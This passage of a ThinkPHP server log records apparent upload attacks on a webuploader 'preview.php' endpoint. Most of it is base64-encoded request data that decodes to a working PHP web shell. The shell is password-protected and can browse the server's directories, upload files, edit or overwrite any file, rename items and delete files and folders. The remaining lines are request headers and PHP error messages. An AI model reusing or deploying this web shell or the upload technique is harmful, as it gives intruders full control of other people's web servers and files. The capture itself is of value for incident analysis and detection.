cz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:31:23+08:00 ] 119.42.146.234 POST 51tianwei.com/hekenews/public/static/hui/lib%20/webuploader/0.1.15/server/server/preview.php [运行时间:0.002685s] [吞吐率:372.43req/s] [内存消耗:196.89kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'hekenews', 2 => 'public', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmIC